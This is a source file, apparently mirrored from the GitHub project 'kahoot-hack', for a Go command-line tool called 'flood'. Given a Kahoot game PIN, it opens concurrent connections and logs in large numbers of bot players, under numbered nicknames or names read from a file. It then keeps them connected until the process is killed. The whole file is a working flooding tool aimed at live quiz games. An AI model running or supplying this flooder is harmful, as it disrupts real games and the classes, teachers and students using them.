Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
unixpickle
GitHub Repository: unixpickle/kahoot-hack
Path: blob/master/kahoot-flood/main.go
10038 views
1
package main
2
3
import (
4
"fmt"
5
"io/ioutil"
6
"os"
7
"os/signal"
8
"strconv"
9
"strings"
10
"sync"
11
"syscall"
12
13
"github.com/unixpickle/kahoot-hack/kahoot"
14
)
15
16
const ConcurrencyCount = 4
17
18
func main() {
19
if len(os.Args) != 3 && len(os.Args) != 4 {
20
fmt.Fprintln(os.Stderr, "Usage: flood <game pin> <nickname prefix> <count>")
21
fmt.Fprintln(os.Stderr, " flood <game pin> <name_list.txt>")
22
os.Exit(1)
23
}
24
25
gamePin := os.Args[1]
26
27
var dieLock sync.Mutex
28
connChan := make(chan *kahoot.Conn)
29
for i := 0; i < ConcurrencyCount; i++ {
30
go func() {
31
for {
32
conn, err := kahoot.NewConn(gamePin)
33
if err != nil {
34
dieLock.Lock()
35
fmt.Fprintln(os.Stderr, "failed to connect:", err)
36
os.Exit(1)
37
dieLock.Unlock()
38
}
39
connChan <- conn
40
}
41
}()
42
}
43
44
for _, nickname := range nicknames() {
45
conn := <-connChan
46
defer conn.GracefulClose()
47
conn.Login(nickname)
48
}
49
50
fmt.Println("Kill this process to deauthenticate.")
51
sigChan := make(chan os.Signal, 1)
52
signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
53
<-sigChan
54
}
55
56
func nicknames() []string {
57
if len(os.Args) == 4 {
58
count, err := strconv.Atoi(os.Args[3])
59
if err != nil {
60
fmt.Fprintln(os.Stderr, "invalid count:", os.Args[3])
61
os.Exit(1)
62
}
63
base := os.Args[2]
64
res := make([]string, count)
65
for x := 0; x < count; x++ {
66
res[x] = base + strconv.Itoa(x+1)
67
}
68
return res
69
}
70
71
contents, err := ioutil.ReadFile(os.Args[2])
72
if err != nil {
73
fmt.Fprintln(os.Stderr, err)
74
os.Exit(1)
75
}
76
77
res := strings.Split(string(contents), "\n")
78
for i := 0; i < len(res); i++ {
79
res[i] = strings.TrimSpace(res[i])
80
if len(res[i]) == 0 {
81
res[i] = res[len(res)-1]
82
res = res[:len(res)-1]
83
i--
84
}
85
}
86
87
return res
88
}
89
90